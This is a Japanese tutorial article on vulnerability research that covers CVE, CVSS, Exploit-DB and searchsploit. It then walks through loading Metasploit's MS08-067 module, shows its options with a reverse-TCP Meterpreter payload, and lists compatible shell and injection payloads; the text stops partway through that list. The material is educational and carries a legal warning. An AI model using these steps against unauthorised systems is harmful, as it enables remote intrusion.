はじめに

攻撃者¹は偵察行為から得た情報を基に脆弱性を発見し、脆弱性に対する攻撃を確立させます。

脆弱性に対する考え方を身につけることはセキュリティ対策の検討に役立ちます。

本記事はエンジニアなら知っておくべき脆弱性の概要や、攻撃者の視点から脆弱性を調査するための方法について記載しています。

脆弱性

脆弱性はシステムにおけるアプリケーションの設計及び実装の欠陥です。脆弱性と攻撃者の脅威が紐づくことでリスクが生じます。従って、リスクを低減するためには攻撃ベクトルとなる脆弱性を塞ぐために適切なセキュリティ対策が必要です。

脆弱性はさまざまな種類が存在します。例えば、OSやMWなどカーネルやライブラリの隙を突いて、特権の昇格を狙うものや、アプリケーション、認証で使用されるクレデンシャル情報、フィッシングメール等いくつかのカテゴリに分類できます。

セキュリティを維持し続けるためには脆弱性情報を収集し、パッチ適用や、セキュリティ対策を定期的に見直すなど日々の運用が重要です。

脆弱性は既知の脆弱性と未知の脆弱性の2種類が存在し、未知の脆弱性については公開されていないため、ゼロデイと呼ばれます。また、脆弱性を防ぐために開発ベンダによるパッチなどが公開されるまでに悪用されて行われる攻撃をゼロデイ攻撃と呼びます。

CVE

脆弱性が公開された場合、MITRE社によってCVEが採番されます。

CVEは脆弱性固有の識別子を示し、脆弱性情報データベースによって管理されます。フォーマットはCVE-YEAR-IDNUMBERです。

NATIONAL VULNERABILITY DATABASE（NVD）はNISTによって管理さされている脆弱性情報データベースです。Full ListingページからすべてのCVEを確認することができます。

NVDで新しい脆弱性を調査する場合はSearch Vulnerability Databaseページより脆弱性情報の検索ができます。

例えば2021年12月に公表されたlog4jについて調査したい場合、下記のようにキーワードを入力してSearchボタンを押します。

該当するCVE番号の情報が出力されます。

任意のCVE番号を選択すると、詳細が確認できます。CVSSのV2とV3系についてそれぞれのベーシックスコアを確認することができます。CVSSについては後述します。

CVEが採番されたばかりだと、ベーシックスコアはまだ計算中のため、スコアが表示されていない場合があります。

また、CVEのサイトよりSearch CVE Listページからも同様の情報を検索することができます。下記のようにキーワードを入力してSubmitボタンを押します。

該当するCVE番号の情報が出力されます。（詳細画面から最終的に辿り着く脆弱性情報は同じNVDの情報です。）

上記CVEのサイトは従来使用されてきたサイトですが、新しいサイト（Beta版）としてCVEが公開されています。

今のところキーワード検索には対応していないため、CVE IDとしてCVE-YEAR-IDNUMBERを入力することでCVEの詳細を確認することができます。

CVSS

CVSSは共通脆弱性評価システムと呼ばれ、情報システムの脆弱性に対するオープンで汎用的な評価手法として、ベンダーに依存しない共通の評価方法を提供しています。CVSSを用いることで、脆弱性の深刻度を同一の基準の下で定量的に比較できます。

スコアはいくつかのメトリックに依存する式に基づいて計算されます。CVSSスコアのコンポーネントによるロジックは、上記で紹介したNISTのNVDサイトから、Common Vulnerability Scoring System Calculatorページより確認できます。

CVSSにはv2.0とv3.Xの二つのバージョンが存在し、現在はv3.1のバージョンが最新²です。
Vulnerability Metricsページの通りにバージョン毎に、スコアレンジによるセキュリティレベルは異なります。また、CVSSスコアの計算ロジックも変わっています。

CVSSについて理解したい場合はIPAのサイトより共通脆弱性評価システムCVSS v3概説が参考になります。

Exploit

エクスプロイトは脆弱性を悪用した攻撃です。

EXPLOIT DATABASEは、脆弱性を評価するに役立つコンテンツです。ソフトウェアまたはアプリケーションの名前、作成者、およびバージョン毎のエクスプロイトなどをデータベースにて管理しています。

概念実証（PoC³）を行うための手段として、特定の脆弱性を悪用するために使用されるコードのスニペットを探すことができます。

脆弱性の調査方法

攻撃者は偵察行為から得たコンテンツの情報を基に脆弱性を調査します。
偵察行為については以前書いたContent Discovery Webアプリケーションに対する偵察行為を参照。

調査には様々なツールや、脆弱性に役立つサイトの情報が使用されます。

※本記事で記載していツールを個人の環境や自システム以外で実施する場合、不正アクセス行為の禁止等に関する法律に触れる可能性があるため、不正の目的での使用はしないでください。

searchsploit

searchsploitはエクスプロイトデータベースのコマンドライン検索ツールでです。
searchsploitの使い方は上記で紹介したEXPLOIT DATABASEのサイトで公開されているSearchSploit – The Manualに記載されています。

Kali Linuxでは最初からインストールされています。ターミナルからsearchsploitコマンドを実行してエクスプロイトの検索を行います。下記の場合ubuntu 19.10をキーワードに検索した例です。

エクスプロイトの検索
$ searchsploit ＜キーワード＞

kali@kali:~$ searchsploit ubuntu 19.10
------------------------------------------------------------- ---------------------------------
 Exploit Title                                               |  Path
------------------------------------------------------------- ---------------------------------
Ubuntu 19.10 - Refcount Underflow and Type Confusion in shif | linux/dos/47693.txt
Ubuntu 19.10 - ubuntu-aufs-modified mmap_region() Breaks Ref | linux/dos/47692.txt
------------------------------------------------------------- ---------------------------------
Shellcodes: No Results

Pathに出力されたファイルを参照することで、エクスプロイトの情報を確認できます。
上記47693.txtの場合、以下Pathを参照してファイルを確認します。

cat /usr/share/exploitdb/exploits/linux/dos/47693.txt

ポイントは検索の仕組みとしてOR演算子ではなく、 AND演算子を使用しているため、バージョンなど条件を絞り込んだ方が出力の結果が見やすくなります。

Metasploit Framework

Metasploitは最も広く使用されているフレームワークです。情報収集からエクスプロイトまで、すべてのフェーズをサポートする強力なツールです。

Metasploitはオープンソースとして公開されているMetasploit Frameworkと、有償版（GUI含む）のMetasploit Proの2つのバージョンが存在します。

本記事では無料で使用可能となっているMetasploit Frameworkについて簡潔に紹介しています。
有償版のProとの機能差異については公式サイトMetasploit Pen Testing Toolより確認できます。

Metasploit Frameworkの主なコンポーネントは以下になります。

msfconsole：コマンドラインインターフェイス（CLI）
モジュール：エクスプロイト、スキャナー、ペイロードなどのサポートモジュール
ツール：脆弱性の調査、脆弱性の評価、または侵入テストに役立つスタンドアロンツール

モジュール配下ディレクトリは下記のように、様々なモジュールが格納されています。

kali@kali:~$ tree -L 1 /usr/share/metasploit-framework/modules/
/usr/share/metasploit-framework/modules/
├── auxiliary
├── encoders
├── evasion
├── exploits
├── nops
├── payloads
└── post

7 directories, 0 files

msfconsoleの起動

msfconsoleは下記のコマンドを実行して起動します。
なお、コンソールに表示されるmsf5の文字はMetasploitのバージョンによって違います。

msfconsoleの起動
$ msfconsole

kali@kali:~$ msfconsole 
                                                  
IIIIII    dTb.dTb        _.---._
  II     4'  v  'B   .'"".'/|\`.""'.
  II     6.     .P  :  .' / | \ `.  :
  II     'T;. .;P'  '.'  /  |  \  `.'
  II      'T; ;P'    `. /   |   \ .'
IIIIII     'YvP'       `-.__|__.-'

I love shells --egypt


       =[ metasploit v5.0.101-dev                         ]
+ -- --=[ 2049 exploits - 1108 auxiliary - 344 post       ]
+ -- --=[ 562 payloads - 45 encoders - 10 nops            ]
+ -- --=[ 7 evasion                                       ]

Metasploit tip: Use help <command> to learn more about any command

msf5 >

コマンドラインはほとんどのLinuxコマンドをサポートしますが、出力リダイレクトなど一部の機能についてはサポートしていないため、使用することはできません。また、タブ補完機能やhistoryコマンドを使用して、以前に入力したコマンドを表示できます。アスキーアートは起動する度に表示が変わる演出です。

エクスプロイトの検索

エクスプロイトを検索する場合はsearchコマンドコマンドを実行して指定された検索パラメータに関連するモジュールをMetasploitFrameworkデータベースから検索します。CVE番号、エクスプロイト名（eternalblue、heartbleedなど）をキーワードに使用することができます。

エクスプロイトの検索
msf5> search ＜キーワード＞
msf5> search ＜キーワード＞ edb:＜ID＞

msf5 > search ldap

Matching Modules
================

   #   Name                                                   Disclosure Date  Rank       Check  Description
   -   ----                                                   ---------------  ----       -----  -----------
   0   auxiliary/admin/http/grafana_auth_bypass               2019-08-14       normal     No     Grafana 2.0 through 5.2.2 authentication bypass for LDAP and OAuth
   1   auxiliary/admin/http/telpho10_credential_dump          2016-09-02       normal     No     Telpho10 Backup Credentials Dumper
   2   auxiliary/admin/ldap/vmware_vcenter_vmdir_auth_bypass  2020-04-09       normal     Yes    VMware vCenter Server vmdir Authentication Bypass
   3   auxiliary/dos/wireshark/cldap                          2011-03-01       normal     No     Wireshark CLDAP Dissector DOS
   4   auxiliary/dos/wireshark/ldap                           2008-03-28       normal     No     Wireshark LDAP Dissector DOS
   5   auxiliary/gather/vmware_vcenter_vmdir_ldap             2020-04-09       normal     No     VMware vCenter Server vmdir Information Disclosure
   6   auxiliary/gather/xerox_workcentre_5xxx_ldap                             normal     No     Xerox Workcentre 5735 LDAP Service Redential Extractor
   7   auxiliary/scanner/http/gitlab_user_enum                2014-11-21       normal     No     GitLab User Enumeration
   8   auxiliary/scanner/http/symantec_brightmail_ldapcreds   2015-12-17       normal     No     Symantec Messaging Gateway 10 Exposure of Stored AD Password Vulnerability
   9   exploit/linux/http/pineapp_ldapsyncnow_exec            2013-07-26       excellent  Yes    PineApp Mail-SeCure ldapsyncnow.php Arbitrary Command Execution
   10  exploit/linux/http/zimbra_xxe_rce                      2019-03-13       excellent  Yes    Zimbra Collaboration Autodiscover Servlet XXE and ProxyServlet SSRF
   11  exploit/linux/misc/jenkins_ldap_deserialize            2016-11-16       excellent  Yes    Jenkins CLI HTTP Java Deserialization Vulnerability
   12  exploit/multi/http/phpldapadmin_query_engine           2011-10-24       excellent  Yes    phpLDAPadmin query_engine Remote PHP Code Injection
   13  exploit/unix/webapp/zeroshell_exec                     2013-09-22       excellent  Yes    ZeroShell Remote Code Execution
   14  exploit/unix/webapp/zimbra_lfi                         2013-12-06       excellent  Yes    Zimbra Collaboration Server LFI
   15  exploit/windows/http/apache_mod_rewrite_ldap           2006-07-28       great      Yes    Apache Module mod_rewrite LDAP Protocol Buffer Overflow
   16  exploit/windows/ldap/imail_thc                         2004-02-17       average    No     IMail LDAP Service Buffer Overflow
   17  exploit/windows/ldap/pgp_keyserver7                    2001-07-16       good       No     Network Associates PGP KeyServer 7 LDAP Buffer Overflow
   18  exploit/windows/novell/netiq_pum_eval                  2012-11-15       excellent  Yes    NetIQ Privileged User Manager 2.3.1 ldapagnt_eval() Remote Perl Code Execution
   19  exploit/windows/smb/ms06_070_wkssvc                    2006-11-14       manual     No     MS06-070 Microsoft Workstation Service NetpManageIPCConnect Overflow
   20  post/windows/gather/enum_ad_computers                                   normal     No     Windows Gather Active Directory Computers
   21  post/windows/gather/enum_ad_service_principal_names                     normal     No     Windows Gather Active Directory Service Principal Names
   22  post/windows/gather/enum_ad_user_comments                               normal     No     Windows Gather Active Directory User Comments


Interact with a module by name or index, for example use 22 or use post/windows/gather/enum_ad_user_comments

検索結果のRank列の説明についてExploit Rankingから確認できます。

モジュール（エクスプロイト）の設定

以下は実際にエクスプロイトを行うための方法になります。
エクスプロイトの攻撃準備としてuseコマンドを実行し、使用したいエクスプロイトを設定します。

本記事では最も一般的なエクスプロイトの1つとして、windows/smb/s08-067_netapiを例に解説します。

モジュールのロード
msf5> use ＜モジュールのパス＞

msf5 > use exploit/windows/smb/ms08_067_netapi
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf5 exploit(windows/smb/ms08_067_netapi) >

モジュールの詳細については、infoコマンドを入力することで取得できます。

モジュールの情報確認
msf5> info

出力例

msf5 exploit(windows/smb/ms08_067_netapi) > info

       Name: MS08-067 Microsoft Server Service Relative Path Stack Corruption
     Module: exploit/windows/smb/ms08_067_netapi
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2008-10-28

Provided by:
  hdm <x@hdm.io>
  Brett Moore <brett.moore@insomniasec.com>
  frank2 <frank2@dc949.org>
  jduck <jduck@metasploit.com>

Available targets:
  Id  Name
  --  ----
  0   Automatic Targeting
  1   Windows 2000 Universal
  2   Windows XP SP0/SP1 Universal
  3   Windows 2003 SP0 Universal
  4   Windows XP SP2 English (AlwaysOn NX)
  5   Windows XP SP2 English (NX)
  6   Windows XP SP3 English (AlwaysOn NX)
  7   Windows XP SP3 English (NX)
  8   Windows XP SP2 Arabic (NX)
  9   Windows XP SP2 Chinese - Traditional / Taiwan (NX)
  10  Windows XP SP2 Chinese - Simplified (NX)
  11  Windows XP SP2 Chinese - Traditional (NX)
  12  Windows XP SP2 Czech (NX)
  13  Windows XP SP2 Danish (NX)
  14  Windows XP SP2 German (NX)
  15  Windows XP SP2 Greek (NX)
  16  Windows XP SP2 Spanish (NX)
  17  Windows XP SP2 Finnish (NX)
  18  Windows XP SP2 French (NX)
  19  Windows XP SP2 Hebrew (NX)
  20  Windows XP SP2 Hungarian (NX)
  21  Windows XP SP2 Italian (NX)
  22  Windows XP SP2 Japanese (NX)
  23  Windows XP SP2 Korean (NX)
  24  Windows XP SP2 Dutch (NX)
  25  Windows XP SP2 Norwegian (NX)
  26  Windows XP SP2 Polish (NX)
  27  Windows XP SP2 Portuguese - Brazilian (NX)
  28  Windows XP SP2 Portuguese (NX)
  29  Windows XP SP2 Russian (NX)
  30  Windows XP SP2 Swedish (NX)
  31  Windows XP SP2 Turkish (NX)
  32  Windows XP SP3 Arabic (NX)
  33  Windows XP SP3 Chinese - Traditional / Taiwan (NX)
  34  Windows XP SP3 Chinese - Simplified (NX)
  35  Windows XP SP3 Chinese - Traditional (NX)
  36  Windows XP SP3 Czech (NX)
  37  Windows XP SP3 Danish (NX)
  38  Windows XP SP3 German (NX)
  39  Windows XP SP3 Greek (NX)
  40  Windows XP SP3 Spanish (NX)
  41  Windows XP SP3 Finnish (NX)
  42  Windows XP SP3 French (NX)
  43  Windows XP SP3 Hebrew (NX)
  44  Windows XP SP3 Hungarian (NX)
  45  Windows XP SP3 Italian (NX)
  46  Windows XP SP3 Japanese (NX)
  47  Windows XP SP3 Korean (NX)
  48  Windows XP SP3 Dutch (NX)
  49  Windows XP SP3 Norwegian (NX)
  50  Windows XP SP3 Polish (NX)
  51  Windows XP SP3 Portuguese - Brazilian (NX)
  52  Windows XP SP3 Portuguese (NX)
  53  Windows XP SP3 Russian (NX)
  54  Windows XP SP3 Swedish (NX)
  55  Windows XP SP3 Turkish (NX)
  56  Windows 2003 SP1 English (NO NX)
  57  Windows 2003 SP1 English (NX)
  58  Windows 2003 SP1 Japanese (NO NX)
  59  Windows 2003 SP1 Spanish (NO NX)
  60  Windows 2003 SP1 Spanish (NX)
  61  Windows 2003 SP1 French (NO NX)
  62  Windows 2003 SP1 French (NX)
  63  Windows 2003 SP2 English (NO NX)
  64  Windows 2003 SP2 English (NX)
  65  Windows 2003 SP2 German (NO NX)
  66  Windows 2003 SP2 German (NX)
  67  Windows 2003 SP2 Portuguese - Brazilian (NX)
  68  Windows 2003 SP2 Spanish (NO NX)
  69  Windows 2003 SP2 Spanish (NX)
  70  Windows 2003 SP2 Japanese (NO NX)
  71  Windows 2003 SP2 French (NO NX)
  72  Windows 2003 SP2 French (NX)

Check supported:
  Yes

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  RHOSTS                    yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT    445              yes       The SMB service port (TCP)
  SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)

Payload information:
  Space: 408
  Avoid: 8 characters

Description:
  This module exploits a parsing flaw in the path canonicalization 
  code of NetAPI32.dll through the Server Service. This module is 
  capable of bypassing NX on some operating systems and service packs. 
  The correct target must be used to prevent the Server Service (along 
  with a dozen others in the same process) from crashing. Windows XP 
  targets seem to handle multiple successful exploitation events, but 
  2003 targets will often crash or hang on subsequent attempts. This 
  is just the first version of this module, full support for NX bypass 
  on 2003, along with other platforms, is still in development.

References:
  https://cvedetails.com/cve/CVE-2008-4250/
  OSVDB (49243)
  https://docs.microsoft.com/en-us/security-updates/SecurityBulletins/2008/MS08-067
  http://www.rapid7.com/vulndb/lookup/dcerpc-ms-netapi-netpathcanonicalize-dos

エクスプロイトを行うためには使用するモジュールによって設定するパラメータが異なります。
必要なパラメータはshow opotionを実行して確認します。Requiredがyesになっている場合は設定が必要な項目です。

モジュールの設定値確認
msf5> show options

msf5 exploit(windows/smb/ms08_067_netapi) > show options

Module options (exploit/windows/smb/ms08_067_netapi):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOSTS                    yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT    445              yes       The SMB service port (TCP)
   SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     10.0.2.15        yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic Targeting

コマンドを実行すると、Module options、Payload options、Exploit target毎に設定値が表示されます。

エクスプロイト毎に対応可能なペイロードは以下のコマンドを実行します。

ペイロードの確認
msf5> show payloads

出力例

msf5 exploit(windows/smb/ms08_067_netapi) > show payloads

Compatible Payloads
===================

   #    Name                                                Disclosure Date  Rank    Check  Description
   -    ----                                                ---------------  ----    -----  -----------
   0    generic/custom                                                       manual  No     Custom Payload
   1    generic/debug_trap                                                   manual  No     Generic x86 Debug Trap
   2    generic/shell_bind_tcp                                               manual  No     Generic Command Shell, Bind TCP Inline
   3    generic/shell_reverse_tcp                                            manual  No     Generic Command Shell, Reverse TCP Inline
   4    generic/tight_loop                                                   manual  No     Generic x86 Tight Loop
   5    windows/adduser                                                      manual  No     Windows Execute net user /ADD
   6    windows/dllinject/bind_hidden_ipknock_tcp                            manual  No     Reflective DLL Injection, Hidden Bind Ipknock TCP Stager
   7    windows/dllinject/bind_hidden_tcp                                    manual  No     Reflective DLL Injection, Hidden Bind TCP Stager
   8    windows/dllinject/bind_ipv6_tcp                                      manual  No     Reflective DLL Injection, Bind IPv6 TCP Stager (Windows x86)
   9    windows/dllinject/bind_ipv6_tcp_uuid                                 manual  No     Reflective DLL Injection, Bind IPv6 TCP Stager with UUID Support (Windows x86)
   10   windows/dllinject/bind_named_pipe                                    manual  No     Reflective DLL Injection, Windows x86 Bind Named Pipe Stager
   11   windows/dllinject/bind_nonx_tcp                                      manual  No     Reflective DLL Injection, Bind TCP Stager (No NX or Win7)
   12   windows/dllinject/bind_tcp                                           manual  No     Reflective DLL Injection, Bind TCP Stager (Windows x86)
   13   windows/dllinject/bind_tcp_rc4                                       manual  No     Reflective DLL Injection, Bind TCP Stager (RC4 Stage Encryption, Metasm)
   14   windows/dllinject/bind_tcp_uuid                                      manual  No     Reflective DLL Injection, Bind TCP Stager with UUID Support (Windows x86)
   15   windows/dllinject/reverse_hop_http                                   manual  No     Reflective DLL Injection, Reverse Hop HTTP/HTTPS Stager
   16   windows/dllinject/reverse_ipv6_tcp                                   manual  No     Reflective DLL Injection, Reverse TCP Stager (IPv6)
   17   windows/dllinject/reverse_nonx_tcp                                   manual  No     Reflective DLL Injection, Reverse TCP Stager (No NX or Win7)
   18   windows/dllinject/reverse_ord_tcp                                    manual  No     Reflective DLL Injection, Reverse Ordinal TCP Stager (No NX or Win7)
   19   windows/dllinject/reverse_tcp                                        manual  No     Reflective DLL Injection, Reverse TCP Stager
   20   windows/dllinject/reverse_tcp_allports                               manual  No     Reflective DLL Injection, Reverse All-Port TCP Stager
   21   windows/dllinject/reverse_tcp_dns                                    manual  No     Reflective DLL Injection, Reverse TCP Stager (DNS)
   22   windows/dllinject/reverse_tcp_rc4                                    manual  No     Reflective DLL Injection, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   23   windows/dllinject/reverse_tcp_uuid                                   manual  No     Reflective DLL Injection, Reverse TCP Stager with UUID Support
   24   windows/dns_txt_query_exec                                           manual  No     DNS TXT Record Payload Download and Execution
   25   windows/exec                                                         manual  No     Windows Execute Command
   26   windows/format_all_drives                                            manual  No     Windows Drive Formatter
   27   windows/loadlibrary                                                  manual  No     Windows LoadLibrary Path
   28   windows/messagebox                                                   manual  No     Windows MessageBox
   29   windows/meterpreter/bind_hidden_ipknock_tcp                          manual  No     Windows Meterpreter (Reflective Injection), Hidden Bind Ipknock TCP Stager
   30   windows/meterpreter/bind_hidden_tcp                                  manual  No     Windows Meterpreter (Reflective Injection), Hidden Bind TCP Stager
   31   windows/meterpreter/bind_ipv6_tcp                                    manual  No     Windows Meterpreter (Reflective Injection), Bind IPv6 TCP Stager (Windows x86)
   32   windows/meterpreter/bind_ipv6_tcp_uuid                               manual  No     Windows Meterpreter (Reflective Injection), Bind IPv6 TCP Stager with UUID Support (Windows x86)
   33   windows/meterpreter/bind_named_pipe                                  manual  No     Windows Meterpreter (Reflective Injection), Windows x86 Bind Named Pipe Stager
   34   windows/meterpreter/bind_nonx_tcp                                    manual  No     Windows Meterpreter (Reflective Injection), Bind TCP Stager (No NX or Win7)
   35   windows/meterpreter/bind_tcp                                         manual  No     Windows Meterpreter (Reflective Injection), Bind TCP Stager (Windows x86)
   36   windows/meterpreter/bind_tcp_rc4                                     manual  No     Windows Meterpreter (Reflective Injection), Bind TCP Stager (RC4 Stage Encryption, Metasm)
   37   windows/meterpreter/bind_tcp_uuid                                    manual  No     Windows Meterpreter (Reflective Injection), Bind TCP Stager with UUID Support (Windows x86)
   38   windows/meterpreter/reverse_hop_http                                 manual  No     Windows Meterpreter (Reflective Injection), Reverse Hop HTTP/HTTPS Stager
   39   windows/meterpreter/reverse_https_proxy                              manual  No     Windows Meterpreter (Reflective Injection), Reverse HTTPS Stager with Support for Custom Proxy
   40   windows/meterpreter/reverse_ipv6_tcp                                 manual  No     Windows Meterpreter (Reflective Injection), Reverse TCP Stager (IPv6)
   41   windows/meterpreter/reverse_named_pipe                               manual  No     Windows Meterpreter (Reflective Injection), Windows x86 Reverse Named Pipe (SMB) Stager
   42   windows/meterpreter/reverse_nonx_tcp                                 manual  No     Windows Meterpreter (Reflective Injection), Reverse TCP Stager (No NX or Win7)
   43   windows/meterpreter/reverse_ord_tcp                                  manual  No     Windows Meterpreter (Reflective Injection), Reverse Ordinal TCP Stager (No NX or Win7)
   44   windows/meterpreter/reverse_tcp                                      manual  No     Windows Meterpreter (Reflective Injection), Reverse TCP Stager
   45   windows/meterpreter/reverse_tcp_allports                             manual  No     Windows Meterpreter (Reflective Injection), Reverse All-Port TCP Stager
   46   windows/meterpreter/reverse_tcp_dns                                  manual  No     Windows Meterpreter (Reflective Injection), Reverse TCP Stager (DNS)
   47   windows/meterpreter/reverse_tcp_rc4                                  manual  No     Windows Meterpreter (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   48   windows/meterpreter/reverse_tcp_uuid                                 manual  No     Windows Meterpreter (Reflective Injection), Reverse TCP Stager with UUID Support
   49   windows/metsvc_bind_tcp                                              manual  No     Windows Meterpreter Service, Bind TCP
   50   windows/metsvc_reverse_tcp                                           manual  No     Windows Meterpreter Service, Reverse TCP Inline
   51   windows/patchupdllinject/bind_hidden_ipknock_tcp                     manual  No     Windows Inject DLL, Hidden Bind Ipknock TCP Stager
   52   windows/patchupdllinject/bind_hidden_tcp                             manual  No     Windows Inject DLL, Hidden Bind TCP Stager
   53   windows/patchupdllinject/bind_ipv6_tcp                               manual  No     Windows Inject DLL, Bind IPv6 TCP Stager (Windows x86)
   54   windows/patchupdllinject/bind_ipv6_tcp_uuid                          manual  No     Windows Inject DLL, Bind IPv6 TCP Stager with UUID Support (Windows x86)
   55   windows/patchupdllinject/bind_named_pipe                             manual  No     Windows Inject DLL, Windows x86 Bind Named Pipe Stager
   56   windows/patchupdllinject/bind_nonx_tcp                               manual  No     Windows Inject DLL, Bind TCP Stager (No NX or Win7)
   57   windows/patchupdllinject/bind_tcp                                    manual  No     Windows Inject DLL, Bind TCP Stager (Windows x86)
   58   windows/patchupdllinject/bind_tcp_rc4                                manual  No     Windows Inject DLL, Bind TCP Stager (RC4 Stage Encryption, Metasm)
   59   windows/patchupdllinject/bind_tcp_uuid                               manual  No     Windows Inject DLL, Bind TCP Stager with UUID Support (Windows x86)
   60   windows/patchupdllinject/reverse_ipv6_tcp                            manual  No     Windows Inject DLL, Reverse TCP Stager (IPv6)
   61   windows/patchupdllinject/reverse_nonx_tcp                            manual  No     Windows Inject DLL, Reverse TCP Stager (No NX or Win7)
   62   windows/patchupdllinject/reverse_ord_tcp                             manual  No     Windows Inject DLL, Reverse Ordinal TCP Stager (No NX or Win7)
   63   windows/patchupdllinject/reverse_tcp                                 manual  No     Windows Inject DLL, Reverse TCP Stager
   64   windows/patchupdllinject/reverse_tcp_allports                        manual  No     Windows Inject DLL, Reverse All-Port TCP Stager
   65   windows/patchupdllinject/reverse_tcp_dns                             manual  No     Windows Inject DLL, Reverse TCP Stager (DNS)
   66   windows/patchupdllinject/reverse_tcp_rc4                             manual  No     Windows Inject DLL, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   67   windows/patchupdllinject/reverse_tcp_uuid                            manual  No     Windows Inject DLL, Reverse TCP Stager with UUID Support
   68   windows/patchupmeterpreter/bind_hidden_ipknock_tcp                   manual  No     Windows Meterpreter (skape/jt Injection), Hidden Bind Ipknock TCP Stager
   69   windows/patchupmeterpreter/bind_hidden_tcp                           manual  No     Windows Meterpreter (skape/jt Injection), Hidden Bind TCP Stager
   70   windows/patchupmeterpreter/bind_ipv6_tcp                             manual  No     Windows Meterpreter (skape/jt Injection), Bind IPv6 TCP Stager (Windows x86)
   71   windows/patchupmeterpreter/bind_ipv6_tcp_uuid                        manual  No     Windows Meterpreter (skape/jt Injection), Bind IPv6 TCP Stager with UUID Support (Windows x86)
   72   windows/patchupmeterpreter/bind_named_pipe                           manual  No     Windows Meterpreter (skape/jt Injection), Windows x86 Bind Named Pipe Stager
   73   windows/patchupmeterpreter/bind_nonx_tcp                             manual  No     Windows Meterpreter (skape/jt Injection), Bind TCP Stager (No NX or Win7)
   74   windows/patchupmeterpreter/bind_tcp                                  manual  No     Windows Meterpreter (skape/jt Injection), Bind TCP Stager (Windows x86)
   75   windows/patchupmeterpreter/bind_tcp_rc4                              manual  No     Windows Meterpreter (skape/jt Injection), Bind TCP Stager (RC4 Stage Encryption, Metasm)
   76   windows/patchupmeterpreter/bind_tcp_uuid                             manual  No     Windows Meterpreter (skape/jt Injection), Bind TCP Stager with UUID Support (Windows x86)
   77   windows/patchupmeterpreter/reverse_ipv6_tcp                          manual  No     Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (IPv6)
   78   windows/patchupmeterpreter/reverse_nonx_tcp                          manual  No     Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (No NX or Win7)
   79   windows/patchupmeterpreter/reverse_ord_tcp                           manual  No     Windows Meterpreter (skape/jt Injection), Reverse Ordinal TCP Stager (No NX or Win7)
   80   windows/patchupmeterpreter/reverse_tcp                               manual  No     Windows Meterpreter (skape/jt Injection), Reverse TCP Stager
   81   windows/patchupmeterpreter/reverse_tcp_allports                      manual  No     Windows Meterpreter (skape/jt Injection), Reverse All-Port TCP Stager
   82   windows/patchupmeterpreter/reverse_tcp_dns                           manual  No     Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (DNS)
   83   windows/patchupmeterpreter/reverse_tcp_rc4                           manual  No     Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   84   windows/patchupmeterpreter/reverse_tcp_uuid                          manual  No     Windows Meterpreter (skape/jt Injection), Reverse TCP Stager with UUID Support
   85   windows/pingback_bind_tcp                                            manual  No     Windows x86 Pingback, Bind TCP Inline
   86   windows/pingback_reverse_tcp                                         manual  No     Windows x86 Pingback, Reverse TCP Inline
   87   windows/shell/bind_hidden_ipknock_tcp                                manual  No     Windows Command Shell, Hidden Bind Ipknock TCP Stager
   88   windows/shell/bind_hidden_tcp                                        manual  No     Windows Command Shell, Hidden Bind TCP Stager
   89   windows/shell/bind_ipv6_tcp                                          manual  No     Windows Command Shell, Bind IPv6 TCP Stager (Windows x86)
   90   windows/shell/bind_ipv6_tcp_uuid                                     manual  No     Windows Command Shell, Bind IPv6 TCP Stager with UUID Support (Windows x86)
   91   windows/shell/bind_named_pipe                                        manual  No     Windows Command Shell, Windows x86 Bind Named Pipe Stager
   92   windows/shell/bind_nonx_tcp                                          manual  No     Windows Command Shell, Bind TCP Stager (No NX or Win7)
   93   windows/shell/bind_tcp                                               manual  No     Windows Command Shell, Bind TCP Stager (Windows x86)
   94   windows/shell/bind_tcp_rc4                                           manual  No     Windows Command Shell, Bind TCP Stager (RC4 Stage Encryption, Metasm)
   95   windows/shell/bind_tcp_uuid                                          manual  No     Windows Command Shell, Bind TCP Stager with UUID Support (Windows x86)
   96   windows/shell/reverse_ipv6_tcp                                       manual  No     Windows Command Shell, Reverse TCP Stager (IPv6)
   97   windows/shell/reverse_nonx_tcp                                       manual  No     Windows Command Shell, Reverse TCP Stager (No NX or Win7)
   98   windows/shell/reverse_ord_tcp                                        manual  No     Windows Command Shell, Reverse Ordinal TCP Stager (No NX or Win7)
   99   windows/shell/reverse_tcp                                            manual  No     Windows Command Shell, Reverse TCP Stager
   100  windows/shell/reverse_tcp_allports                                   manual  No     Windows Command Shell, Reverse All-Port TCP Stager
   101  windows/shell/reverse_tcp_dns                                        manual  No     Windows Command Shell, Reverse TCP Stager (DNS)
   102  windows/shell/reverse_tcp_rc4                                        manual  No     Windows Command Shell, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   103  windows/shell/reverse_tcp_uuid                                       manual  No     Windows Command Shell, Reverse TCP Stager with UUID Support
   104  windows/shell/reverse_udp                                            manual  No     Windows Command Shell, Reverse UDP Stager with UUID Support
   105  windows/shell_bind_tcp                                               manual  No     Windows Command Shell, Bind TCP Inline
   106  windows/shell_hidden_bind_tcp                                        manual  No     Windows Command Shell, Hidden Bind TCP Inline
   107  windows/shell_reverse_tcp                                            manual  No     Windows Command Shell, Reverse TCP Inline
   108  windows/speak_pwned                                                  manual  No     Windows Speech API - Say "You Got Pwned!"
   109  windows/upexec/bind_hidden_ipknock_tcp                               manual  No     Windows Upload/Execute, Hidden Bind Ipknock TCP Stager
